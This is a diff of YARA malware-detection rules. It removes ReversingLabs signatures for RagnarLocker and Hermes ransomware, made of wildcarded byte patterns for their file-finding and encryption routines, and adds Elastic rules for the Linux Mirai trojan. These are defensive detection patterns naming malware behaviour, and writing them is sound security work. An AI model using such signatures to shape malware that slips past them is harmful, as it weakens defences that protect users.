-		tc_detection_name = "RagnarLocker"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$find_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 33 C0 B9 ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 8B 75 ?? 57
-            8D BD ?? ?? ?? ?? F3 AB 8B 3D ?? ?? ?? ?? 39 45 ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D
-            85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75
-            ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D3
-        }
-		$find_files_p2 = {
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? 83 FB ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? FF 74 B5 ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ??
-            ?? 46 83 FE ?? 7C ?? 33 C0 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50
-            68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50
-            FF D6 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 FF D6 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF D6 6A ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
-            ?? ?? 8B 45 ?? 8B 1D ?? ?? ?? ?? 8B 75 ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            56 FF D3
-        }
-		$find_files_p3 = {
-            33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 90 FF 74 B5 ??
-            53 FF D7 85 C0 74 ?? 46 83 FE ?? 72 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            8B 45 ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? E9
-            ?? ?? ?? ?? 5F 5E 32 C0 5B 8B E5 5D C3 FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E B0 ?? 5B 8B
-            E5 5D C3
-        }
-		$encrypt_files_p1 = {
-            56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            83 C4 ?? 68 ?? ?? ?? ?? 50 FF D7 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D7 56 8B 35 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 68 ?? ?? ?? ?? FF D6 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8B F0 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ??
-            ?? ?? 8B F8 C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
-        }
-		$encrypt_files_p2 = {
-            8D 45 ?? 50 57 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ??
-            57 50 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 8B 35 ?? ?? ??
-            ?? 8D 4D ?? 6A ?? 51 FF 75 ?? FF 75 ?? 50 FF D6 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83
-            C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 50 8D 85 ?? ?? ?? ??
-            50 FF 75 ?? FF D6 8B 45 ?? 50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? FF D0 FF 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BF ?? ??
-            ?? ?? 89 45 ?? 8D 57 ?? 8B CF D3 E8 A8 ?? 0F 84 ?? ?? ?? ?? 8D 47 ?? C7 45 ?? ?? ??
-            ?? ?? 66 89 45 ?? 33 F6 33 C0 50 50 50 50 50 68 ?? ?? ?? ?? 50 66 89 45 ?? 8D 45 ??
-            50 FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ??
-            ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 66 8B 85 ?? ?? ?? ?? 66 3B 45 ?? 75 ?? 66 8B 85 ?? ?? ?? ?? 66 3B 45 ?? B8 ?? ??
-            ?? ?? 0F 44 F0 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ??
-            ?? ?? ?? 83 EF ?? 8B 45 ?? 0F 89 ?? ?? ?? ?? 0F 57 C0 C7 85
-        }
-		$encrypt_files_p3 = {
-            0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ??
-            0F 29 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 68
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 68
-            ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 6A ?? FF 75 ?? FF 15 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 6A ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50
-            FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ??
-            6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85
-            C0 74 ?? FF 75 ?? 8B 35 ?? ?? ?? ?? FF D6 FF 75 ?? FF D6 6A ?? FF 15
-        }
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "35db945d116a4c9264af44a9947a5e831ea655044728dc78770085c7959a678e"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
+
+	strings:
+		$a = { CF 07 66 5F 10 F0 EB 0C 42 0B 2F 0B 0B 43 C1 42 E4 C2 7C 85 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Hermes : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_3278F1B8 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Hermes ransomware."
-		author = "ReversingLabs"
-		id = "1f1f363a-5be0-59e5-b1c1-5e277922790c"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Hermes.yara#L1-L284"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6db95c422ee2f9dd8a1795031ee8d7d5ed84e16cde47512becc006b6a849e890"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "3278f1b8-f208-42c8-a851-d22413f74dea"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1462-L1480"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fc8741f67f39e7409ab2c6c62d4f9acdd168d3e53cf6976dd87501833771cacb"
+		logic_hash = "4d709e8e2062099ac06b241408e52bcb86bbf8163faaffbcff68a05f864e1b3f"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Hermes"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "7e9fc284c9c920ac2752911d6aacbc3c2bf1b053aa35c22d83bab0089290778d"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$hermes_find_files_v1_p1 = {
-            A5 A5 A5 8D BD ?? ?? ?? ?? 66 AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 66 A5 68 ??
-            ?? ?? ?? 8D BD ?? ?? ?? ?? 50 AB 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 65
-            ?? ?? 8B 5D ?? 8B FB 4F 4F 8D 47 ?? 66 8B 4F ?? 47 47 66 85 C9 75 ?? BE ?? ?? ?? ??
-            A5 A5 8D 8D ?? ?? ?? ?? 51 50 66 A5 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 45 ?? E8
-            ?? ?? ?? ?? 59 59 8B C8 E8 ?? ?? ?? ?? 8B CB 8B D0 E8 ?? ?? ?? ?? 2B C2 33 C9 83 7D
-            ?? ?? 66 89 0C 43 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ??
-            8B C1 6A ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ??
-            8B C1 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 75
-            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 A5 33
-        }
-		$hermes_find_files_v1_p2 = {
-            C0 6A ?? 59 6A ?? 8D 7D ?? 66 AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 59 BE ?? ??
-            ?? ?? 8D BD ?? ?? ?? ?? F3 A5 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 A5 6A ?? 59 8D 7D ??
-            AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? AB AB 66 AB BE ?? ?? ??
-            ?? 8D 7D ?? A5 A5 A5 A5 33 C0 6A ?? 8D 7D ?? AB 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ??
-            F3 A5 66 A5 8D BD ?? ?? ?? ?? AB BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? A5 A5 A5 A5 8D BD
-            ?? ?? ?? ?? AB AB AB 66 AB 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85
-            C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59
-            85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59
-            59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D
-            85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50
-            8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 0F
-        }
-		$hermes_find_files_v1_p3 = {
-            84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59
-            85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F
-            85 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F
-            85 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D
-        }
-		$hermes_find_files_v1_p4 = {
-            45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45
-            ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? F6 85
-            ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 53 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 F8 ?? 7E ?? 53 FF 75
-            ?? FF 75 ?? E8
-        }
-		$hermes_encrypt_files_v1_p1 = {
-            55 8B EC 83 EC ?? 53 56 57 FF 75 ?? FF 15 ?? ?? ?? ?? BB ?? ?? ?? ?? 3B C3 74 ?? 53
-            FF 75 ?? FF 15 ?? ?? ?? ?? 33 F6 56 53 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF 15 ??
-            ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 50 FF 15 ?? ?? ?? ?? 89 45 ??
-            83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 56 89 45 ?? 8D 45 ?? 50 56 56
-            6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? BF ?? ?? ?? ?? 57 FF 75 ?? 56
-            FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 74 ?? 56 8D 4D ?? 51 FF 75 ?? 89 75 ?? 50 FF 75 ??
-            FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 8B 4D ?? 8D 44 08 ?? 80 38 ?? 75 ?? 80 78 ??
-            ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? FF
-            75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B
-        }
-		$hermes_encrypt_files_v1_p2 = {
-            C9 C3 FF 75 ?? 8D 45 ?? 50 51 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56
-            56 56 FF 75 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ??
-            ?? 6A ?? 57 FF 75 ?? 88 45 ?? 56 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 3B FE 74 ?? FF 75
-            ?? 0F BE 45 ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 45 ?? 50 FF 75 ?? 89 75 ?? 57 FF
-            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 56 FF 75 ?? FF 15
-            ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 53 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF
-            15 ?? ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 50 FF 75 ?? 89 75 ?? FF 75
-            ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ??
-            53 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 57 56 FF
-            75 ?? FF 15 ?? ?? ?? ?? 33 C0 40 E9
-        }
-		$hermes_enum_resources_v1 = {
-            55 8B EC 83 EC ?? 53 56 57 8D 45 ?? 50 FF 75 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A
-            ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF
-            15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? 53 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B
-            43 ?? 66 83 38 ?? 8D 48 ?? 75 ?? 66 83 78 ?? ?? 75 ?? 6A ?? 51 E8 ?? ?? ?? ?? 59 59
-            85 C0 74 ?? 8B 43 ?? 8B D0 66 8B 08 40 40 66 85 C9 75 ?? 8B 7D ?? 2B C2 4F 4F 66 8B
-            4F ?? 47 47 66 85 C9 75 ?? 8B C8 C1 E9 ?? 8B F2 F3 A5 8B C8 83 E1 ?? F3 A4 8B 7D ??
-            4F 4F 66 8B 47 ?? 47 47 66 85 C0 75 ?? BE ?? ?? ?? ?? A5 8B 43 ?? 83 E0 ?? 3C ?? 0F
-            85 ?? ?? ?? ?? FF 75 ?? 53 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 33 C0 5F 5E
-            5B C9 C3 33 C0 40 EB
-        }
-		$hermes_encrypt_files_v2_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 33 C0 8D BD ?? ?? ?? ?? AB 33 DB 89 5D ?? AB AB
-            AB 8B 7D ?? 57 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 53 56 6A ??
-            53 53 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 53 FF 15 ?? ?? ?? ?? 33
-            C0 E9 ?? ?? ?? ?? 33 DB 33 C0 89 5D ?? 0F 57 C0 89 45 ?? 66 0F 13 45 ?? 83 FE ?? 74
-            ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 5D ?? 8B 45
-            ?? 83 FB ?? 75 ?? 85 C0 75 ?? 33 FF 47 E9 ?? ?? ?? ?? 83 65 ?? ?? 83 7D ?? ?? 77 ??
-            81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ??
-            6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 4D ??
-            89 45 ?? 83 F9 ?? 72 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 6A ?? 6A ?? 51 FF 75 ?? E8
-            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? 3D ?? ?? ?? ?? 76 ??
-            C7 45 ?? ?? ?? ?? ?? EB ?? 8B 55 ?? 8B C1 81 C2 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 77 ??
-            72 ?? 81 FA ?? ?? ?? ?? 77 ?? 6A ?? 6A ?? 51 FF 75 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 52
-            50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 83 F9
-        }
-		$hermes_encrypt_files_v2_p2 = {
-            77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 8B 45 ?? EB ?? 8B 45 ?? 3D ?? ?? ?? ?? 0F 87
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ??
-            0F 82 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? B8 ?? ?? ?? ?? 77 ?? 39
-            45 ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 2B D8 53 56 89 5D ?? FF 15 ?? ?? ?? ??
-            83 F8 ?? 75 ?? 6A ?? 58 E9 ?? ?? ?? ?? 33 DB 8D 45 ?? 53 50 6A ?? 8D 85 ?? ?? ?? ??
-            89 5D ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? EB ?? 8B C3 80 BC 05 ?? ?? ?? ??
-            ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ??
-            ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 74 ?? 40 83 F8
-            ?? 72 ?? 53 53 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 6A ?? E9 ?? ?? ??
-            ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 58 6A ?? 66 89 45 ?? 58 66 89 45 ?? 6A ?? 58 66 89 45
-            ?? 33 C0 66 89 45 ?? 8D 45 ?? 50 57 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 6A ?? 68 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 57 56 89 1E E8 ?? ?? ??
-            ?? 57 56 E8 ?? ?? ?? ?? 8D 45 ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 56 57 FF 15 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 33 DB 8D 45
-        }
-		$hermes_encrypt_files_v2_p3 = {
-            50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? E9 ?? ?? ?? ??
-            39 5D ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 53 53 68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8
-            ?? ?? ?? ?? 89 5D ?? 5B 6A ?? 89 4D ?? 33 DB 89 45 ?? 89 55 ?? 5F EB ?? 8B 45 ?? 89
-            45 ?? 53 69 C0 ?? ?? ?? ?? 53 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ?? E9 ?? ??
-            ?? ?? 53 8D 45 ?? 89 5D ?? 50 6A ?? 5F 57 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
-            85 C0 75 ?? 6A ?? E9 ?? ?? ?? ?? 53 53 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ??
-            E9 ?? ?? ?? ?? 89 5D ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B
-            D8 85 DB 75 ?? 6A ?? E9 ?? ?? ?? ?? 8B 55 ?? 33 C9 33 C0 C7 45 ?? ?? ?? ?? ?? 89 4D
